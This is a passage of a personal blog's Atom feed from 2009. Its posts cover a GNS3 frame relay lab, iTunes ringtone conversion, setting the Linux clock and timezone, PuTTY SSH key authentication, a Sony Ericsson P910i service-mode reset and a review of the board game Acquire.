font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Anyways, I built a frame relay network on GNS3 and it would not work. So I upgraded to the current version of GNS and tried again. Still no go. Frustrated I posted an angry message on twitter, facebook and linkedin and gave up on this temporarily...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-3552728852664600340?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/3552728852664600340/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2009/11/ccna-studies-continued.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/3552728852664600340'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/3552728852664600340'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2009/11/ccna-studies-continued.html' title='CCNA Studies - continued...'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-6959474998592012017</id><published>2009-11-29T22:01:00.004+10:00</published><updated>2010-11-19T23:50:20.168+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ringtone'/><category scheme='http://www.blogger.com/atom/ns#' term='itunes'/><title type='text'>Make ringtones from your iTunes music</title><content type='html'>It's really sucky how you cannot use your existing iTunes music as your ringtones. I mean you have already paid for the music so why not let you use it directly. Instead you either need to buy them as ringtones off the iTune Store or convert them.&lt;br /&gt;&lt;br /&gt;The simplest way I found was to use iTunes itself to perform the conversion for you. Basically you need to listen to your music and determine how much of it you'd like to use for your ringtone, convert the song, import it into iTunes and then sync your iPhone.&lt;br /&gt;&lt;br /&gt;Here's the step-by-step using iTunes 9&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Launch iTunes 9&lt;/li&gt;&lt;li&gt;Select Music and listen to the song&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Determine the start time and end time of your ringtone (recommend 30 seconds)&lt;/li&gt;&lt;li&gt;Right-click the song and select Get Info&lt;/li&gt;&lt;li&gt;Select the Options tab&lt;/li&gt;&lt;li&gt;Click on the start and end times and type in the start and end times&lt;/li&gt;&lt;li&gt;Click the OK button to close the dialog box&lt;/li&gt;&lt;li&gt;Right-click the same song and select Create AAC version&lt;/li&gt;&lt;li&gt;Note a new version of the song with the same name&lt;/li&gt;&lt;li&gt;Right-click the new song and select Show in Windows Explorer&lt;/li&gt;&lt;li&gt;Select the AAC version of the song and press the F2 key to rename the file&lt;/li&gt;&lt;li&gt;Rename the file extension from *.m4a to *.m4r&lt;/li&gt;&lt;li&gt;Close the Windows Explorer window&lt;/li&gt;&lt;li&gt;Right-click the new song and select Delete&lt;/li&gt;&lt;li&gt;Left click the File menu and select Add File to Library&lt;/li&gt;&lt;li&gt;Browse to the file, select it and Click Open&lt;/li&gt;&lt;li&gt;Finally sync your iPhone&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-6959474998592012017?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/6959474998592012017/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2009/11/make-ringtones-from-your-itunes-music.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/6959474998592012017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/6959474998592012017'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2009/11/make-ringtones-from-your-itunes-music.html' title='Make ringtones from your iTunes music'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-3178519221461794826</id><published>2009-10-01T13:11:00.015+10:00</published><updated>2011-09-01T13:19:22.899+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='timezone'/><category scheme='http://www.blogger.com/atom/ns#' term='system time'/><category scheme='http://www.blogger.com/atom/ns#' term='hardware time'/><category scheme='http://www.blogger.com/atom/ns#' term='gmt'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='clock'/><category scheme='http://www.blogger.com/atom/ns#' term='localtime'/><category scheme='http://www.blogger.com/atom/ns#' term='utc'/><category scheme='http://www.blogger.com/atom/ns#' term='time'/><category scheme='http://www.blogger.com/atom/ns#' term='hwclock'/><category scheme='http://www.blogger.com/atom/ns#' term='date'/><title type='text'>How to set the Linux date and time from the command prompt</title><content type='html'>&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;b&gt;Note:&lt;/b&gt;&amp;nbsp;This is a repost of an old website page. It has just been moved it here as a blog.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The&amp;nbsp;Linux&amp;nbsp;machine maintains the date and time, firstly, like all other personal computers on the hardware, this is sometimes referred to as the Basic Input and Output System (BIOS) or Complementary Metal Oxide Semiconductor (CMOS).&amp;nbsp;The second date and time reference is maintained by the operating system, and is updated from the hardware clock during&amp;nbsp;boot-up. During the Linux installation, the hardware clock is configured to be in Coordinated Universal Time (UTC) or Greenwich Meridian Time (GMT)&amp;nbsp;The latter is often referred to as the system clock and the former is usually known as the hardware clock.&lt;br /&gt;&lt;br /&gt;During boot-up the system clock is initialised with the date and time on the hardware clock.&amp;nbsp;The advantage of maintaining time in UTC is that the Linux system will automatically account for daylight savings based on your timezone. The timezone information for the Linux box is configured via the /etc/localtime file.&lt;br /&gt;&lt;br /&gt;The man page for the hwclock command provides more detailed information on the time keeping features of Linux.&amp;nbsp;The file /etc/localtime is a symbolic link to the timezone data found under the /usr/share/zoneinfo directory.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;To set the timezone, create the appropriate symbolic link&lt;/li&gt;&lt;ul&gt;&lt;li&gt;/bin/ln -sf ../usr/share/zoneinfo/Pacific/Fiji /etc/localtime&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;To indicate to the system that UTC time is to be used, the configuration file, /etc/sysconfig/clock needs to be edited. The file should be edited to indicate UTC=true. To use GMT ensure that the file has UTC=false set.&amp;nbsp;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;/bin/vi /etc/sysconfig/clock&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;To set the system clock, the date command may be used. To set the date and time enter the following command. If the UTC time is used then the -u, --utc or --universal switch must be used to set the time as UTC.&amp;nbsp;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;/bin/date MMDDhhmm.ss&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Once the system clock has been set, it can be used to re-initialise the hardware clock. Again if the UTC format is used then the -u or --utc switch must be used.&lt;/li&gt;&lt;ul&gt;&lt;li&gt;/sbin/hwclock --systohc&lt;/li&gt;&lt;/ul&gt;&lt;/ol&gt;&lt;br /&gt;&lt;u&gt;Refrences:&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Linux man page for date&lt;/li&gt;&lt;li&gt;Linux man page for hwclock&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-3178519221461794826?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/3178519221461794826/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2009/10/how-to-set-linux-date-and-time-from.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/3178519221461794826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/3178519221461794826'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2009/10/how-to-set-linux-date-and-time-from.html' title='How to set the Linux date and time from the command prompt'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-8812677572849543110</id><published>2009-09-01T12:44:00.001+10:00</published><updated>2011-09-01T13:22:08.860+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='openssh'/><category scheme='http://www.blogger.com/atom/ns#' term='rsa'/><category scheme='http://www.blogger.com/atom/ns#' term='puttygen'/><category scheme='http://www.blogger.com/atom/ns#' term='public key'/><category scheme='http://www.blogger.com/atom/ns#' term='keygen'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='authentication'/><category scheme='http://www.blogger.com/atom/ns#' term='.ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='keys'/><category scheme='http://www.blogger.com/atom/ns#' term='putty'/><category scheme='http://www.blogger.com/atom/ns#' term='ppk'/><category scheme='http://www.blogger.com/atom/ns#' term='dsa'/><title type='text'>How to use PuTTY with keys for SSH authentication</title><content type='html'>&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;b&gt;Note&lt;/b&gt;: This is a repost of an old website page. It has just been moved it here as a blog.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit; font-size: x-small;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;PuTTY is a windows telnet and SSH client implementations. It's free and widely used.For more details you can visit the official site at&amp;nbsp;&lt;a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/index.html"&gt;http://www.chiark.greenend.org.uk/~sgtatham/putty/index.html&lt;/a&gt;. The instruction below provide details on the installation and&amp;nbsp;configuration&amp;nbsp;of PuTTY for authentication using keys.&lt;br /&gt;&lt;br /&gt;Locate the latest stable version of the PuTTY SSH client and install it on the client machine. At the time of this document, the latest stable version was version 0.58. The PuTTY client can be downloaded from its homepage located at http://www.chiark.greenend.org.uk/~sgtatham/putty/&lt;br /&gt;&lt;br /&gt;The primary files required are PuTTY (putty.exe) the actual TELNET and SSH client and and PuTTYgen (puttygen.exe) the DSA and RSA key generation and import utility.&amp;nbsp;You may choose to use the PuTTYgen utility to generate the key pair for you, or if you are using Linux then you may generate the OpenSSH keys.&amp;nbsp;These OpenSSH keys may be imported and used with PuTTY without too much problem. You may choose to generate DSA or RSA keys. RSA keys may be used with SSH versions 1 and 2, but DSA key may only be used with version 2. As far as I can tell, other than the algorithms used the only other performance difference between DSA and RSA is that RSA is slightly faster than DSA.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;If you were using OpenSSH to generate an RSA key pair on a Linux box&lt;/li&gt;&lt;ul&gt;&lt;li&gt;/usr/bin/ssh-keygen -t rsa&lt;/li&gt;&lt;li&gt;Then enter the location and name of the file to store the keys&lt;/li&gt;&lt;li&gt;Then enter the pass phrase to use and confirm it. Note that pass phrases cannot be recovered and the keys will have to be re-generated.&lt;/li&gt;&lt;li&gt;Finally note the fingerprint for future reference and secure the private key files.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;PuTTY only accepts PuTTY Private Key Files (*.PPK), so there is a need to convert the OpenSSH keys to PuTTY Keys. This is done using PuTTYgen&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Start PuTTYgen&lt;/li&gt;&lt;li&gt;Select the Conversions menu&lt;/li&gt;&lt;li&gt;Select the Import keys menu item&lt;/li&gt;&lt;li&gt;Select the private key that was generated in the ealier step and specify the pass phrase that was used (if any)&lt;/li&gt;&lt;li&gt;Then save the converted private key file as a PPK file.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;The public keys generated will have to be saved into the ".ssh" directory within their home directories. The keys would also have to be appended to the authorized_keys or authorized_keys2 file.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;Now PuTTY sessions may be started as normal and users specify the login name to use. There should be no need to enter a password to authenticate. However if you are not using PuTTY Authentication Agent, then you may be required to specify the pass phrase that was used to create the keys&lt;br /&gt;&lt;br /&gt;&lt;u&gt;References:&lt;/u&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;http://www.chiark.greenend.org.uk/~sgtatham/putty/&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-8812677572849543110?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/8812677572849543110/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/09/how-to-use-putty-with-keys-for-ssh.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/8812677572849543110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/8812677572849543110'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/09/how-to-use-putty-with-keys-for-ssh.html' title='How to use PuTTY with keys for SSH authentication'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-4936407594382790446</id><published>2009-08-07T13:27:00.003+10:00</published><updated>2010-11-19T23:49:57.176+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sony'/><category scheme='http://www.blogger.com/atom/ns#' term='ericsson'/><category scheme='http://www.blogger.com/atom/ns#' term='service mode'/><category scheme='http://www.blogger.com/atom/ns#' term='reboot'/><category scheme='http://www.blogger.com/atom/ns#' term='p910i'/><title type='text'>Slow Sony Ericsson P910i</title><content type='html'>I bought a Sony Ericsson P910i a couple of years back in 2006. I was in desperate need of a smart phone as my PDA at the time had been stolen after my car got broken into. The phone runs a Symbian OS.&lt;br /&gt;&lt;br /&gt;After several years of abuse, the keypad gave up (buttons had to be really pressed in to function), and it finally slowed down to a crawl. Rebooting the phone took a couple of minutes at least. It was literally impossible to perform backups, etc. Even a master reset did not fix the problem, I formatted the phone and still no luck, I finally gave up and discarded the phone to the pile of clutter on my desk in the study, and quickly forgot about it. This was around April of this year 2009.&lt;br /&gt;&lt;br /&gt;Yesterday, I saw the phone again, and Googled for a solutions. Basically I needed to get into Service mode and format the phone from there. To get into the Service mode (you can do this both with and without the keyboard) you needed to, enter the following sequence of key events;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Jog dial up&lt;/li&gt;&lt;li&gt;"*" key press&lt;/li&gt;&lt;li&gt;Jog dial down&lt;/li&gt;&lt;li&gt;Jog dial down&lt;/li&gt;&lt;li&gt;"*" key press&lt;/li&gt;&lt;li&gt;Jog dial down&lt;/li&gt;&lt;/ol&gt;The service menu will then be displayed, with three options;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Information&lt;/li&gt;&lt;li&gt;Service tests&lt;/li&gt;&lt;li&gt;Service functions&lt;/li&gt;&lt;/ol&gt;The Information menu gives you information on various aspects of the phone and GSM network. The Service tests menu allows you to select phone functions, and finally the Service functions menu allows you to Format the internal disk.&lt;br /&gt;&lt;br /&gt;After formatting the disk, the phone will reboot, but this time it was much after than the previous snail pace performance. Thus once again the P910i is back in service and now I just need to get all the old software and contact details back on it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-4936407594382790446?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/4936407594382790446/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2009/08/slow-sony-ericsson-p910i.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/4936407594382790446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/4936407594382790446'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2009/08/slow-sony-ericsson-p910i.html' title='Slow Sony Ericsson P910i'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-7833808014088878645</id><published>2009-08-01T18:13:00.008+10:00</published><updated>2010-11-19T23:48:51.478+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='board game review'/><category scheme='http://www.blogger.com/atom/ns#' term='acquire strategy'/><category scheme='http://www.blogger.com/atom/ns#' term='acquire'/><category scheme='http://www.blogger.com/atom/ns#' term='board games'/><title type='text'>Acquire - The Board Game</title><content type='html'>&lt;a href="http://3.bp.blogspot.com/_WK7TtRkL_xE/Sno7sQYtX_I/AAAAAAAAAAM/bzG2to04oKU/s1600-h/DSCF5407.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5366667537464254450" src="http://3.bp.blogspot.com/_WK7TtRkL_xE/Sno7sQYtX_I/AAAAAAAAAAM/bzG2to04oKU/s200/DSCF5407.JPG" style="cursor: pointer; float: left; height: 150px; margin: 0pt 10px 10px 0pt; width: 200px;" /&gt;&lt;/a&gt;&lt;br /&gt;I decided to kick my blog off with a basic review of Acquire, the board game by Avonhill. More comprehensive reviews may be found on hard core board-gamer blogs and sites. http://www.boardgamegeek.com being a good one.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The game itself is an old one. Apparently it was first published in 1962. So basically it has been around for some time and may have enjoyed some popularity. The primary objective of the game is to become the wealthiest player by founding and/or investing in hotel chains.&lt;br /&gt;&lt;br /&gt;The game comes with the game board, cardboard tiles for hotel chains, cardboard tiles for hotels, cardboard stand, hotel stock certificates, credit notes to buy hotel stock. Some of the older versions of the game appear to have three dimensional tiles and hotels. The current version that I have appears to be more of a budget edition. It has cardboard tiles, that need to be placed on a cardboard stand that needs to be made from punched out pieces. A scrabble type plastic stand would have been nicer.&lt;br /&gt;&lt;br /&gt;During a turn, I player must perform the following (in order), place a chain tile on the board, buy up to three(3) stock, pick up tiles to replace the tiles used. The "randomness" is implemented via the selection of tiles by the players from the draw pile.&lt;br /&gt;&lt;br /&gt;In my opiniuon, a number of strategies need to be employed during the game. During the start of the game there is larger variance in, unknown factors, however as play progresses, players need to guess the tiles that other players may be holding, based on the tiles that they currently possess as well as the tiles already played.&lt;br /&gt;&lt;br /&gt;Therefore, in middle game, tactical placement of tiles is essential to realise the strategy employed, i.e. either acquire other hotel chains or setup your chain(s) to be acquired by others. Again, in my opinion, the key strategy at all stages of play, seems to be to maintain majority ownership in a chain.&lt;br /&gt;&lt;br /&gt;The final, tactical point to note when developing a strategy is that during a normal player turn, you are limited to the purchase of only three(3) stock, however if your chain is acquired you can convert your existing stock into the new chains, i.e. more than (3).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-7833808014088878645?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/7833808014088878645/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2009/08/acquire-board-game.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/7833808014088878645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/7833808014088878645'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2009/08/acquire-board-game.html' title='Acquire - The Board Game'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_WK7TtRkL_xE/Sno7sQYtX_I/AAAAAAAAAAM/bzG2to04oKU/s72-c/DSCF5407.JPG' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
